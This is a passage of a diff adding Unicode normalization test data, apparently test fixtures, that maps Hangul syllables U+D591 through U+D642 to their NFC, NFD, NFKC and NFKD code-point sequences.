+{ source: [0xD591], NFC: [0xD591], NFD: [0x1112, 0x1163, 0x11A8], NFKC: [0xD591], NFKD: [0x1112, 0x1163, 0x11A8] },
+{ source: [0xD592], NFC: [0xD592], NFD: [0x1112, 0x1163, 0x11A9], NFKC: [0xD592], NFKD: [0x1112, 0x1163, 0x11A9] },
+{ source: [0xD593], NFC: [0xD593], NFD: [0x1112, 0x1163, 0x11AA], NFKC: [0xD593], NFKD: [0x1112, 0x1163, 0x11AA] },
+{ source: [0xD594], NFC: [0xD594], NFD: [0x1112, 0x1163, 0x11AB], NFKC: [0xD594], NFKD: [0x1112, 0x1163, 0x11AB] },
+{ source: [0xD595], NFC: [0xD595], NFD: [0x1112, 0x1163, 0x11AC], NFKC: [0xD595], NFKD: [0x1112, 0x1163, 0x11AC] },
+{ source: [0xD596], NFC: [0xD596], NFD: [0x1112, 0x1163, 0x11AD], NFKC: [0xD596], NFKD: [0x1112, 0x1163, 0x11AD] },
+{ source: [0xD597], NFC: [0xD597], NFD: [0x1112, 0x1163, 0x11AE], NFKC: [0xD597], NFKD: [0x1112, 0x1163, 0x11AE] },
+{ source: [0xD598], NFC: [0xD598], NFD: [0x1112, 0x1163, 0x11AF], NFKC: [0xD598], NFKD: [0x1112, 0x1163, 0x11AF] },
+{ source: [0xD599], NFC: [0xD599], NFD: [0x1112, 0x1163, 0x11B0], NFKC: [0xD599], NFKD: [0x1112, 0x1163, 0x11B0] },
+{ source: [0xD59A], NFC: [0xD59A], NFD: [0x1112, 0x1163, 0x11B1], NFKC: [0xD59A], NFKD: [0x1112, 0x1163, 0x11B1] },
+{ source: [0xD59B], NFC: [0xD59B], NFD: [0x1112, 0x1163, 0x11B2], NFKC: [0xD59B], NFKD: [0x1112, 0x1163, 0x11B2] },
+{ source: [0xD59C], NFC: [0xD59C], NFD: [0x1112, 0x1163, 0x11B3], NFKC: [0xD59C], NFKD: [0x1112, 0x1163, 0x11B3] },
+{ source: [0xD59D], NFC: [0xD59D], NFD: [0x1112, 0x1163, 0x11B4], NFKC: [0xD59D], NFKD: [0x1112, 0x1163, 0x11B4] },
+{ source: [0xD59E], NFC: [0xD59E], NFD: [0x1112, 0x1163, 0x11B5], NFKC: [0xD59E], NFKD: [0x1112, 0x1163, 0x11B5] },
+{ source: [0xD59F], NFC: [0xD59F], NFD: [0x1112, 0x1163, 0x11B6], NFKC: [0xD59F], NFKD: [0x1112, 0x1163, 0x11B6] },
+{ source: [0xD5A0], NFC: [0xD5A0], NFD: [0x1112, 0x1163, 0x11B7], NFKC: [0xD5A0], NFKD: [0x1112, 0x1163, 0x11B7] },
+{ source: [0xD5A1], NFC: [0xD5A1], NFD: [0x1112, 0x1163, 0x11B8], NFKC: [0xD5A1], NFKD: [0x1112, 0x1163, 0x11B8] },
+{ source: [0xD5A2], NFC: [0xD5A2], NFD: [0x1112, 0x1163, 0x11B9], NFKC: [0xD5A2], NFKD: [0x1112, 0x1163, 0x11B9] },
+{ source: [0xD5A3], NFC: [0xD5A3], NFD: [0x1112, 0x1163, 0x11BA], NFKC: [0xD5A3], NFKD: [0x1112, 0x1163, 0x11BA] },
+{ source: [0xD5A4], NFC: [0xD5A4], NFD: [0x1112, 0x1163, 0x11BB], NFKC: [0xD5A4], NFKD: [0x1112, 0x1163, 0x11BB] },
+{ source: [0xD5A5], NFC: [0xD5A5], NFD: [0x1112, 0x1163, 0x11BC], NFKC: [0xD5A5], NFKD: [0x1112, 0x1163, 0x11BC] },
+{ source: [0xD5A6], NFC: [0xD5A6], NFD: [0x1112, 0x1163, 0x11BD], NFKC: [0xD5A6], NFKD: [0x1112, 0x1163, 0x11BD] },
+{ source: [0xD5A7], NFC: [0xD5A7], NFD: [0x1112, 0x1163, 0x11BE], NFKC: [0xD5A7], NFKD: [0x1112, 0x1163, 0x11BE] },
+{ source: [0xD5A8], NFC: [0xD5A8], NFD: [0x1112, 0x1163, 0x11BF], NFKC: [0xD5A8], NFKD: [0x1112, 0x1163, 0x11BF] },
+{ source: [0xD5A9], NFC: [0xD5A9], NFD: [0x1112, 0x1163, 0x11C0], NFKC: [0xD5A9], NFKD: [0x1112, 0x1163, 0x11C0] },
+{ source: [0xD5AA], NFC: [0xD5AA], NFD: [0x1112, 0x1163, 0x11C1], NFKC: [0xD5AA], NFKD: [0x1112, 0x1163, 0x11C1] },
+{ source: [0xD5AB], NFC: [0xD5AB], NFD: [0x1112, 0x1163, 0x11C2], NFKC: [0xD5AB], NFKD: [0x1112, 0x1163, 0x11C2] },
+{ source: [0xD5AC], NFC: [0xD5AC], NFD: [0x1112, 0x1164], NFKC: [0xD5AC], NFKD: [0x1112, 0x1164] },
+{ source: [0xD5AD], NFC: [0xD5AD], NFD: [0x1112, 0x1164, 0x11A8], NFKC: [0xD5AD], NFKD: [0x1112, 0x1164, 0x11A8] },
+{ source: [0xD5AE], NFC: [0xD5AE], NFD: [0x1112, 0x1164, 0x11A9], NFKC: [0xD5AE], NFKD: [0x1112, 0x1164, 0x11A9] },
+{ source: [0xD5AF], NFC: [0xD5AF], NFD: [0x1112, 0x1164, 0x11AA], NFKC: [0xD5AF], NFKD: [0x1112, 0x1164, 0x11AA] },
+{ source: [0xD5B0], NFC: [0xD5B0], NFD: [0x1112, 0x1164, 0x11AB], NFKC: [0xD5B0], NFKD: [0x1112, 0x1164, 0x11AB] },
+{ source: [0xD5B1], NFC: [0xD5B1], NFD: [0x1112, 0x1164, 0x11AC], NFKC: [0xD5B1], NFKD: [0x1112, 0x1164, 0x11AC] },
+{ source: [0xD5B2], NFC: [0xD5B2], NFD: [0x1112, 0x1164, 0x11AD], NFKC: [0xD5B2], NFKD: [0x1112, 0x1164, 0x11AD] },
+{ source: [0xD5B3], NFC: [0xD5B3], NFD: [0x1112, 0x1164, 0x11AE], NFKC: [0xD5B3], NFKD: [0x1112, 0x1164, 0x11AE] },
+{ source: [0xD5B4], NFC: [0xD5B4], NFD: [0x1112, 0x1164, 0x11AF], NFKC: [0xD5B4], NFKD: [0x1112, 0x1164, 0x11AF] },
+{ source: [0xD5B5], NFC: [0xD5B5], NFD: [0x1112, 0x1164, 0x11B0], NFKC: [0xD5B5], NFKD: [0x1112, 0x1164, 0x11B0] },
+{ source: [0xD5B6], NFC: [0xD5B6], NFD: [0x1112, 0x1164, 0x11B1], NFKC: [0xD5B6], NFKD: [0x1112, 0x1164, 0x11B1] },
+{ source: [0xD5B7], NFC: [0xD5B7], NFD: [0x1112, 0x1164, 0x11B2], NFKC: [0xD5B7], NFKD: [0x1112, 0x1164, 0x11B2] },
+{ source: [0xD5B8], NFC: [0xD5B8], NFD: [0x1112, 0x1164, 0x11B3], NFKC: [0xD5B8], NFKD: [0x1112, 0x1164, 0x11B3] },
+{ source: [0xD5B9], NFC: [0xD5B9], NFD: [0x1112, 0x1164, 0x11B4], NFKC: [0xD5B9], NFKD: [0x1112, 0x1164, 0x11B4] },
+{ source: [0xD5BA], NFC: [0xD5BA], NFD: [0x1112, 0x1164, 0x11B5], NFKC: [0xD5BA], NFKD: [0x1112, 0x1164, 0x11B5] },
+{ source: [0xD5BB], NFC: [0xD5BB], NFD: [0x1112, 0x1164, 0x11B6], NFKC: [0xD5BB], NFKD: [0x1112, 0x1164, 0x11B6] },
+{ source: [0xD5BC], NFC: [0xD5BC], NFD: [0x1112, 0x1164, 0x11B7], NFKC: [0xD5BC], NFKD: [0x1112, 0x1164, 0x11B7] },
+{ source: [0xD5BD], NFC: [0xD5BD], NFD: [0x1112, 0x1164, 0x11B8], NFKC: [0xD5BD], NFKD: [0x1112, 0x1164, 0x11B8] },
+{ source: [0xD5BE], NFC: [0xD5BE], NFD: [0x1112, 0x1164, 0x11B9], NFKC: [0xD5BE], NFKD: [0x1112, 0x1164, 0x11B9] },
+{ source: [0xD5BF], NFC: [0xD5BF], NFD: [0x1112, 0x1164, 0x11BA], NFKC: [0xD5BF], NFKD: [0x1112, 0x1164, 0x11BA] },
+{ source: [0xD5C0], NFC: [0xD5C0], NFD: [0x1112, 0x1164, 0x11BB], NFKC: [0xD5C0], NFKD: [0x1112, 0x1164, 0x11BB] },
+{ source: [0xD5C1], NFC: [0xD5C1], NFD: [0x1112, 0x1164, 0x11BC], NFKC: [0xD5C1], NFKD: [0x1112, 0x1164, 0x11BC] },
+{ source: [0xD5C2], NFC: [0xD5C2], NFD: [0x1112, 0x1164, 0x11BD], NFKC: [0xD5C2], NFKD: [0x1112, 0x1164, 0x11BD] },
+{ source: [0xD5C3], NFC: [0xD5C3], NFD: [0x1112, 0x1164, 0x11BE], NFKC: [0xD5C3], NFKD: [0x1112, 0x1164, 0x11BE] },
+{ source: [0xD5C4], NFC: [0xD5C4], NFD: [0x1112, 0x1164, 0x11BF], NFKC: [0xD5C4], NFKD: [0x1112, 0x1164, 0x11BF] },
+{ source: [0xD5C5], NFC: [0xD5C5], NFD: [0x1112, 0x1164, 0x11C0], NFKC: [0xD5C5], NFKD: [0x1112, 0x1164, 0x11C0] },
+{ source: [0xD5C6], NFC: [0xD5C6], NFD: [0x1112, 0x1164, 0x11C1], NFKC: [0xD5C6], NFKD: [0x1112, 0x1164, 0x11C1] },
+{ source: [0xD5C7], NFC: [0xD5C7], NFD: [0x1112, 0x1164, 0x11C2], NFKC: [0xD5C7], NFKD: [0x1112, 0x1164, 0x11C2] },
+{ source: [0xD5C8], NFC: [0xD5C8], NFD: [0x1112, 0x1165], NFKC: [0xD5C8], NFKD: [0x1112, 0x1165] },
+{ source: [0xD5C9], NFC: [0xD5C9], NFD: [0x1112, 0x1165, 0x11A8], NFKC: [0xD5C9], NFKD: [0x1112, 0x1165, 0x11A8] },
+{ source: [0xD5CA], NFC: [0xD5CA], NFD: [0x1112, 0x1165, 0x11A9], NFKC: [0xD5CA], NFKD: [0x1112, 0x1165, 0x11A9] },
+{ source: [0xD5CB], NFC: [0xD5CB], NFD: [0x1112, 0x1165, 0x11AA], NFKC: [0xD5CB], NFKD: [0x1112, 0x1165, 0x11AA] },
+{ source: [0xD5CC], NFC: [0xD5CC], NFD: [0x1112, 0x1165, 0x11AB], NFKC: [0xD5CC], NFKD: [0x1112, 0x1165, 0x11AB] },
+{ source: [0xD5CD], NFC: [0xD5CD], NFD: [0x1112, 0x1165, 0x11AC], NFKC: [0xD5CD], NFKD: [0x1112, 0x1165, 0x11AC] },
+{ source: [0xD5CE], NFC: [0xD5CE], NFD: [0x1112, 0x1165, 0x11AD], NFKC: [0xD5CE], NFKD: [0x1112, 0x1165, 0x11AD] },
+{ source: [0xD5CF], NFC: [0xD5CF], NFD: [0x1112, 0x1165, 0x11AE], NFKC: [0xD5CF], NFKD: [0x1112, 0x1165, 0x11AE] },
+{ source: [0xD5D0], NFC: [0xD5D0], NFD: [0x1112, 0x1165, 0x11AF], NFKC: [0xD5D0], NFKD: [0x1112, 0x1165, 0x11AF] },
+{ source: [0xD5D1], NFC: [0xD5D1], NFD: [0x1112, 0x1165, 0x11B0], NFKC: [0xD5D1], NFKD: [0x1112, 0x1165, 0x11B0] },
+{ source: [0xD5D2], NFC: [0xD5D2], NFD: [0x1112, 0x1165, 0x11B1], NFKC: [0xD5D2], NFKD: [0x1112, 0x1165, 0x11B1] },
+{ source: [0xD5D3], NFC: [0xD5D3], NFD: [0x1112, 0x1165, 0x11B2], NFKC: [0xD5D3], NFKD: [0x1112, 0x1165, 0x11B2] },
+{ source: [0xD5D4], NFC: [0xD5D4], NFD: [0x1112, 0x1165, 0x11B3], NFKC: [0xD5D4], NFKD: [0x1112, 0x1165, 0x11B3] },
+{ source: [0xD5D5], NFC: [0xD5D5], NFD: [0x1112, 0x1165, 0x11B4], NFKC: [0xD5D5], NFKD: [0x1112, 0x1165, 0x11B4] },
+{ source: [0xD5D6], NFC: [0xD5D6], NFD: [0x1112, 0x1165, 0x11B5], NFKC: [0xD5D6], NFKD: [0x1112, 0x1165, 0x11B5] },
+{ source: [0xD5D7], NFC: [0xD5D7], NFD: [0x1112, 0x1165, 0x11B6], NFKC: [0xD5D7], NFKD: [0x1112, 0x1165, 0x11B6] },
+{ source: [0xD5D8], NFC: [0xD5D8], NFD: [0x1112, 0x1165, 0x11B7], NFKC: [0xD5D8], NFKD: [0x1112, 0x1165, 0x11B7] },
+{ source: [0xD5D9], NFC: [0xD5D9], NFD: [0x1112, 0x1165, 0x11B8], NFKC: [0xD5D9], NFKD: [0x1112, 0x1165, 0x11B8] },
+{ source: [0xD5DA], NFC: [0xD5DA], NFD: [0x1112, 0x1165, 0x11B9], NFKC: [0xD5DA], NFKD: [0x1112, 0x1165, 0x11B9] },
+{ source: [0xD5DB], NFC: [0xD5DB], NFD: [0x1112, 0x1165, 0x11BA], NFKC: [0xD5DB], NFKD: [0x1112, 0x1165, 0x11BA] },
+{ source: [0xD5DC], NFC: [0xD5DC], NFD: [0x1112, 0x1165, 0x11BB], NFKC: [0xD5DC], NFKD: [0x1112, 0x1165, 0x11BB] },
+{ source: [0xD5DD], NFC: [0xD5DD], NFD: [0x1112, 0x1165, 0x11BC], NFKC: [0xD5DD], NFKD: [0x1112, 0x1165, 0x11BC] },
+{ source: [0xD5DE], NFC: [0xD5DE], NFD: [0x1112, 0x1165, 0x11BD], NFKC: [0xD5DE], NFKD: [0x1112, 0x1165, 0x11BD] },
+{ source: [0xD5DF], NFC: [0xD5DF], NFD: [0x1112, 0x1165, 0x11BE], NFKC: [0xD5DF], NFKD: [0x1112, 0x1165, 0x11BE] },
+{ source: [0xD5E0], NFC: [0xD5E0], NFD: [0x1112, 0x1165, 0x11BF], NFKC: [0xD5E0], NFKD: [0x1112, 0x1165, 0x11BF] },
+{ source: [0xD5E1], NFC: [0xD5E1], NFD: [0x1112, 0x1165, 0x11C0], NFKC: [0xD5E1], NFKD: [0x1112, 0x1165, 0x11C0] },
+{ source: [0xD5E2], NFC: [0xD5E2], NFD: [0x1112, 0x1165, 0x11C1], NFKC: [0xD5E2], NFKD: [0x1112, 0x1165, 0x11C1] },
+{ source: [0xD5E3], NFC: [0xD5E3], NFD: [0x1112, 0x1165, 0x11C2], NFKC: [0xD5E3], NFKD: [0x1112, 0x1165, 0x11C2] },
+{ source: [0xD5E4], NFC: [0xD5E4], NFD: [0x1112, 0x1166], NFKC: [0xD5E4], NFKD: [0x1112, 0x1166] },
+{ source: [0xD5E5], NFC: [0xD5E5], NFD: [0x1112, 0x1166, 0x11A8], NFKC: [0xD5E5], NFKD: [0x1112, 0x1166, 0x11A8] },
+{ source: [0xD5E6], NFC: [0xD5E6], NFD: [0x1112, 0x1166, 0x11A9], NFKC: [0xD5E6], NFKD: [0x1112, 0x1166, 0x11A9] },
+{ source: [0xD5E7], NFC: [0xD5E7], NFD: [0x1112, 0x1166, 0x11AA], NFKC: [0xD5E7], NFKD: [0x1112, 0x1166, 0x11AA] },
+{ source: [0xD5E8], NFC: [0xD5E8], NFD: [0x1112, 0x1166, 0x11AB], NFKC: [0xD5E8], NFKD: [0x1112, 0x1166, 0x11AB] },
+{ source: [0xD5E9], NFC: [0xD5E9], NFD: [0x1112, 0x1166, 0x11AC], NFKC: [0xD5E9], NFKD: [0x1112, 0x1166, 0x11AC] },
+{ source: [0xD5EA], NFC: [0xD5EA], NFD: [0x1112, 0x1166, 0x11AD], NFKC: [0xD5EA], NFKD: [0x1112, 0x1166, 0x11AD] },
+{ source: [0xD5EB], NFC: [0xD5EB], NFD: [0x1112, 0x1166, 0x11AE], NFKC: [0xD5EB], NFKD: [0x1112, 0x1166, 0x11AE] },
+{ source: [0xD5EC], NFC: [0xD5EC], NFD: [0x1112, 0x1166, 0x11AF], NFKC: [0xD5EC], NFKD: [0x1112, 0x1166, 0x11AF] },
+{ source: [0xD5ED], NFC: [0xD5ED], NFD: [0x1112, 0x1166, 0x11B0], NFKC: [0xD5ED], NFKD: [0x1112, 0x1166, 0x11B0] },
+{ source: [0xD5EE], NFC: [0xD5EE], NFD: [0x1112, 0x1166, 0x11B1], NFKC: [0xD5EE], NFKD: [0x1112, 0x1166, 0x11B1] },
+{ source: [0xD5EF], NFC: [0xD5EF], NFD: [0x1112, 0x1166, 0x11B2], NFKC: [0xD5EF], NFKD: [0x1112, 0x1166, 0x11B2] },
+{ source: [0xD5F0], NFC: [0xD5F0], NFD: [0x1112, 0x1166, 0x11B3], NFKC: [0xD5F0], NFKD: [0x1112, 0x1166, 0x11B3] },
+{ source: [0xD5F1], NFC: [0xD5F1], NFD: [0x1112, 0x1166, 0x11B4], NFKC: [0xD5F1], NFKD: [0x1112, 0x1166, 0x11B4] },
+{ source: [0xD5F2], NFC: [0xD5F2], NFD: [0x1112, 0x1166, 0x11B5], NFKC: [0xD5F2], NFKD: [0x1112, 0x1166, 0x11B5] },
+{ source: [0xD5F3], NFC: [0xD5F3], NFD: [0x1112, 0x1166, 0x11B6], NFKC: [0xD5F3], NFKD: [0x1112, 0x1166, 0x11B6] },
+{ source: [0xD5F4], NFC: [0xD5F4], NFD: [0x1112, 0x1166, 0x11B7], NFKC: [0xD5F4], NFKD: [0x1112, 0x1166, 0x11B7] },
+{ source: [0xD5F5], NFC: [0xD5F5], NFD: [0x1112, 0x1166, 0x11B8], NFKC: [0xD5F5], NFKD: [0x1112, 0x1166, 0x11B8] },
+{ source: [0xD5F6], NFC: [0xD5F6], NFD: [0x1112, 0x1166, 0x11B9], NFKC: [0xD5F6], NFKD: [0x1112, 0x1166, 0x11B9] },
+{ source: [0xD5F7], NFC: [0xD5F7], NFD: [0x1112, 0x1166, 0x11BA], NFKC: [0xD5F7], NFKD: [0x1112, 0x1166, 0x11BA] },
+{ source: [0xD5F8], NFC: [0xD5F8], NFD: [0x1112, 0x1166, 0x11BB], NFKC: [0xD5F8], NFKD: [0x1112, 0x1166, 0x11BB] },
+{ source: [0xD5F9], NFC: [0xD5F9], NFD: [0x1112, 0x1166, 0x11BC], NFKC: [0xD5F9], NFKD: [0x1112, 0x1166, 0x11BC] },
+{ source: [0xD5FA], NFC: [0xD5FA], NFD: [0x1112, 0x1166, 0x11BD], NFKC: [0xD5FA], NFKD: [0x1112, 0x1166, 0x11BD] },
+{ source: [0xD5FB], NFC: [0xD5FB], NFD: [0x1112, 0x1166, 0x11BE], NFKC: [0xD5FB], NFKD: [0x1112, 0x1166, 0x11BE] },
+{ source: [0xD5FC], NFC: [0xD5FC], NFD: [0x1112, 0x1166, 0x11BF], NFKC: [0xD5FC], NFKD: [0x1112, 0x1166, 0x11BF] },
+{ source: [0xD5FD], NFC: [0xD5FD], NFD: [0x1112, 0x1166, 0x11C0], NFKC: [0xD5FD], NFKD: [0x1112, 0x1166, 0x11C0] },
+{ source: [0xD5FE], NFC: [0xD5FE], NFD: [0x1112, 0x1166, 0x11C1], NFKC: [0xD5FE], NFKD: [0x1112, 0x1166, 0x11C1] },
+{ source: [0xD5FF], NFC: [0xD5FF], NFD: [0x1112, 0x1166, 0x11C2], NFKC: [0xD5FF], NFKD: [0x1112, 0x1166, 0x11C2] },
+{ source: [0xD600], NFC: [0xD600], NFD: [0x1112, 0x1167], NFKC: [0xD600], NFKD: [0x1112, 0x1167] },
+{ source: [0xD601], NFC: [0xD601], NFD: [0x1112, 0x1167, 0x11A8], NFKC: [0xD601], NFKD: [0x1112, 0x1167, 0x11A8] },
+{ source: [0xD602], NFC: [0xD602], NFD: [0x1112, 0x1167, 0x11A9], NFKC: [0xD602], NFKD: [0x1112, 0x1167, 0x11A9] },
+{ source: [0xD603], NFC: [0xD603], NFD: [0x1112, 0x1167, 0x11AA], NFKC: [0xD603], NFKD: [0x1112, 0x1167, 0x11AA] },
+{ source: [0xD604], NFC: [0xD604], NFD: [0x1112, 0x1167, 0x11AB], NFKC: [0xD604], NFKD: [0x1112, 0x1167, 0x11AB] },
+{ source: [0xD605], NFC: [0xD605], NFD: [0x1112, 0x1167, 0x11AC], NFKC: [0xD605], NFKD: [0x1112, 0x1167, 0x11AC] },
+{ source: [0xD606], NFC: [0xD606], NFD: [0x1112, 0x1167, 0x11AD], NFKC: [0xD606], NFKD: [0x1112, 0x1167, 0x11AD] },
+{ source: [0xD607], NFC: [0xD607], NFD: [0x1112, 0x1167, 0x11AE], NFKC: [0xD607], NFKD: [0x1112, 0x1167, 0x11AE] },
+{ source: [0xD608], NFC: [0xD608], NFD: [0x1112, 0x1167, 0x11AF], NFKC: [0xD608], NFKD: [0x1112, 0x1167, 0x11AF] },
+{ source: [0xD609], NFC: [0xD609], NFD: [0x1112, 0x1167, 0x11B0], NFKC: [0xD609], NFKD: [0x1112, 0x1167, 0x11B0] },
+{ source: [0xD60A], NFC: [0xD60A], NFD: [0x1112, 0x1167, 0x11B1], NFKC: [0xD60A], NFKD: [0x1112, 0x1167, 0x11B1] },
+{ source: [0xD60B], NFC: [0xD60B], NFD: [0x1112, 0x1167, 0x11B2], NFKC: [0xD60B], NFKD: [0x1112, 0x1167, 0x11B2] },
+{ source: [0xD60C], NFC: [0xD60C], NFD: [0x1112, 0x1167, 0x11B3], NFKC: [0xD60C], NFKD: [0x1112, 0x1167, 0x11B3] },
+{ source: [0xD60D], NFC: [0xD60D], NFD: [0x1112, 0x1167, 0x11B4], NFKC: [0xD60D], NFKD: [0x1112, 0x1167, 0x11B4] },
+{ source: [0xD60E], NFC: [0xD60E], NFD: [0x1112, 0x1167, 0x11B5], NFKC: [0xD60E], NFKD: [0x1112, 0x1167, 0x11B5] },
+{ source: [0xD60F], NFC: [0xD60F], NFD: [0x1112, 0x1167, 0x11B6], NFKC: [0xD60F], NFKD: [0x1112, 0x1167, 0x11B6] },
+{ source: [0xD610], NFC: [0xD610], NFD: [0x1112, 0x1167, 0x11B7], NFKC: [0xD610], NFKD: [0x1112, 0x1167, 0x11B7] },
+{ source: [0xD611], NFC: [0xD611], NFD: [0x1112, 0x1167, 0x11B8], NFKC: [0xD611], NFKD: [0x1112, 0x1167, 0x11B8] },
+{ source: [0xD612], NFC: [0xD612], NFD: [0x1112, 0x1167, 0x11B9], NFKC: [0xD612], NFKD: [0x1112, 0x1167, 0x11B9] },
+{ source: [0xD613], NFC: [0xD613], NFD: [0x1112, 0x1167, 0x11BA], NFKC: [0xD613], NFKD: [0x1112, 0x1167, 0x11BA] },
+{ source: [0xD614], NFC: [0xD614], NFD: [0x1112, 0x1167, 0x11BB], NFKC: [0xD614], NFKD: [0x1112, 0x1167, 0x11BB] },
+{ source: [0xD615], NFC: [0xD615], NFD: [0x1112, 0x1167, 0x11BC], NFKC: [0xD615], NFKD: [0x1112, 0x1167, 0x11BC] },
+{ source: [0xD616], NFC: [0xD616], NFD: [0x1112, 0x1167, 0x11BD], NFKC: [0xD616], NFKD: [0x1112, 0x1167, 0x11BD] },
+{ source: [0xD617], NFC: [0xD617], NFD: [0x1112, 0x1167, 0x11BE], NFKC: [0xD617], NFKD: [0x1112, 0x1167, 0x11BE] },
+{ source: [0xD618], NFC: [0xD618], NFD: [0x1112, 0x1167, 0x11BF], NFKC: [0xD618], NFKD: [0x1112, 0x1167, 0x11BF] },
+{ source: [0xD619], NFC: [0xD619], NFD: [0x1112, 0x1167, 0x11C0], NFKC: [0xD619], NFKD: [0x1112, 0x1167, 0x11C0] },
+{ source: [0xD61A], NFC: [0xD61A], NFD: [0x1112, 0x1167, 0x11C1], NFKC: [0xD61A], NFKD: [0x1112, 0x1167, 0x11C1] },
+{ source: [0xD61B], NFC: [0xD61B], NFD: [0x1112, 0x1167, 0x11C2], NFKC: [0xD61B], NFKD: [0x1112, 0x1167, 0x11C2] },
+{ source: [0xD61C], NFC: [0xD61C], NFD: [0x1112, 0x1168], NFKC: [0xD61C], NFKD: [0x1112, 0x1168] },
+{ source: [0xD61D], NFC: [0xD61D], NFD: [0x1112, 0x1168, 0x11A8], NFKC: [0xD61D], NFKD: [0x1112, 0x1168, 0x11A8] },
+{ source: [0xD61E], NFC: [0xD61E], NFD: [0x1112, 0x1168, 0x11A9], NFKC: [0xD61E], NFKD: [0x1112, 0x1168, 0x11A9] },
+{ source: [0xD61F], NFC: [0xD61F], NFD: [0x1112, 0x1168, 0x11AA], NFKC: [0xD61F], NFKD: [0x1112, 0x1168, 0x11AA] },
+{ source: [0xD620], NFC: [0xD620], NFD: [0x1112, 0x1168, 0x11AB], NFKC: [0xD620], NFKD: [0x1112, 0x1168, 0x11AB] },
+{ source: [0xD621], NFC: [0xD621], NFD: [0x1112, 0x1168, 0x11AC], NFKC: [0xD621], NFKD: [0x1112, 0x1168, 0x11AC] },
+{ source: [0xD622], NFC: [0xD622], NFD: [0x1112, 0x1168, 0x11AD], NFKC: [0xD622], NFKD: [0x1112, 0x1168, 0x11AD] },
+{ source: [0xD623], NFC: [0xD623], NFD: [0x1112, 0x1168, 0x11AE], NFKC: [0xD623], NFKD: [0x1112, 0x1168, 0x11AE] },
+{ source: [0xD624], NFC: [0xD624], NFD: [0x1112, 0x1168, 0x11AF], NFKC: [0xD624], NFKD: [0x1112, 0x1168, 0x11AF] },
+{ source: [0xD625], NFC: [0xD625], NFD: [0x1112, 0x1168, 0x11B0], NFKC: [0xD625], NFKD: [0x1112, 0x1168, 0x11B0] },
+{ source: [0xD626], NFC: [0xD626], NFD: [0x1112, 0x1168, 0x11B1], NFKC: [0xD626], NFKD: [0x1112, 0x1168, 0x11B1] },
+{ source: [0xD627], NFC: [0xD627], NFD: [0x1112, 0x1168, 0x11B2], NFKC: [0xD627], NFKD: [0x1112, 0x1168, 0x11B2] },
+{ source: [0xD628], NFC: [0xD628], NFD: [0x1112, 0x1168, 0x11B3], NFKC: [0xD628], NFKD: [0x1112, 0x1168, 0x11B3] },
+{ source: [0xD629], NFC: [0xD629], NFD: [0x1112, 0x1168, 0x11B4], NFKC: [0xD629], NFKD: [0x1112, 0x1168, 0x11B4] },
+{ source: [0xD62A], NFC: [0xD62A], NFD: [0x1112, 0x1168, 0x11B5], NFKC: [0xD62A], NFKD: [0x1112, 0x1168, 0x11B5] },
+{ source: [0xD62B], NFC: [0xD62B], NFD: [0x1112, 0x1168, 0x11B6], NFKC: [0xD62B], NFKD: [0x1112, 0x1168, 0x11B6] },
+{ source: [0xD62C], NFC: [0xD62C], NFD: [0x1112, 0x1168, 0x11B7], NFKC: [0xD62C], NFKD: [0x1112, 0x1168, 0x11B7] },
+{ source: [0xD62D], NFC: [0xD62D], NFD: [0x1112, 0x1168, 0x11B8], NFKC: [0xD62D], NFKD: [0x1112, 0x1168, 0x11B8] },
+{ source: [0xD62E], NFC: [0xD62E], NFD: [0x1112, 0x1168, 0x11B9], NFKC: [0xD62E], NFKD: [0x1112, 0x1168, 0x11B9] },
+{ source: [0xD62F], NFC: [0xD62F], NFD: [0x1112, 0x1168, 0x11BA], NFKC: [0xD62F], NFKD: [0x1112, 0x1168, 0x11BA] },
+{ source: [0xD630], NFC: [0xD630], NFD: [0x1112, 0x1168, 0x11BB], NFKC: [0xD630], NFKD: [0x1112, 0x1168, 0x11BB] },
+{ source: [0xD631], NFC: [0xD631], NFD: [0x1112, 0x1168, 0x11BC], NFKC: [0xD631], NFKD: [0x1112, 0x1168, 0x11BC] },
+{ source: [0xD632], NFC: [0xD632], NFD: [0x1112, 0x1168, 0x11BD], NFKC: [0xD632], NFKD: [0x1112, 0x1168, 0x11BD] },
+{ source: [0xD633], NFC: [0xD633], NFD: [0x1112, 0x1168, 0x11BE], NFKC: [0xD633], NFKD: [0x1112, 0x1168, 0x11BE] },
+{ source: [0xD634], NFC: [0xD634], NFD: [0x1112, 0x1168, 0x11BF], NFKC: [0xD634], NFKD: [0x1112, 0x1168, 0x11BF] },
+{ source: [0xD635], NFC: [0xD635], NFD: [0x1112, 0x1168, 0x11C0], NFKC: [0xD635], NFKD: [0x1112, 0x1168, 0x11C0] },
+{ source: [0xD636], NFC: [0xD636], NFD: [0x1112, 0x1168, 0x11C1], NFKC: [0xD636], NFKD: [0x1112, 0x1168, 0x11C1] },
+{ source: [0xD637], NFC: [0xD637], NFD: [0x1112, 0x1168, 0x11C2], NFKC: [0xD637], NFKD: [0x1112, 0x1168, 0x11C2] },
+{ source: [0xD638], NFC: [0xD638], NFD: [0x1112, 0x1169], NFKC: [0xD638], NFKD: [0x1112, 0x1169] },
+{ source: [0xD639], NFC: [0xD639], NFD: [0x1112, 0x1169, 0x11A8], NFKC: [0xD639], NFKD: [0x1112, 0x1169, 0x11A8] },
+{ source: [0xD63A], NFC: [0xD63A], NFD: [0x1112, 0x1169, 0x11A9], NFKC: [0xD63A], NFKD: [0x1112, 0x1169, 0x11A9] },
+{ source: [0xD63B], NFC: [0xD63B], NFD: [0x1112, 0x1169, 0x11AA], NFKC: [0xD63B], NFKD: [0x1112, 0x1169, 0x11AA] },
+{ source: [0xD63C], NFC: [0xD63C], NFD: [0x1112, 0x1169, 0x11AB], NFKC: [0xD63C], NFKD: [0x1112, 0x1169, 0x11AB] },
+{ source: [0xD63D], NFC: [0xD63D], NFD: [0x1112, 0x1169, 0x11AC], NFKC: [0xD63D], NFKD: [0x1112, 0x1169, 0x11AC] },
+{ source: [0xD63E], NFC: [0xD63E], NFD: [0x1112, 0x1169, 0x11AD], NFKC: [0xD63E], NFKD: [0x1112, 0x1169, 0x11AD] },
+{ source: [0xD63F], NFC: [0xD63F], NFD: [0x1112, 0x1169, 0x11AE], NFKC: [0xD63F], NFKD: [0x1112, 0x1169, 0x11AE] },
+{ source: [0xD640], NFC: [0xD640], NFD: [0x1112, 0x1169, 0x11AF], NFKC: [0xD640], NFKD: [0x1112, 0x1169, 0x11AF] },
+{ source: [0xD641], NFC: [0xD641], NFD: [0x1112, 0x1169, 0x11B0], NFKC: [0xD641], NFKD: [0x1112, 0x1169, 0x11B0] },
+{ source: [0xD642], NFC: [0xD642], NFD: [0x1112, 0x1169, 0x11B1], NFKC: [0xD642], NFKD: [0x1112, 0x1169, 0x11B1] },
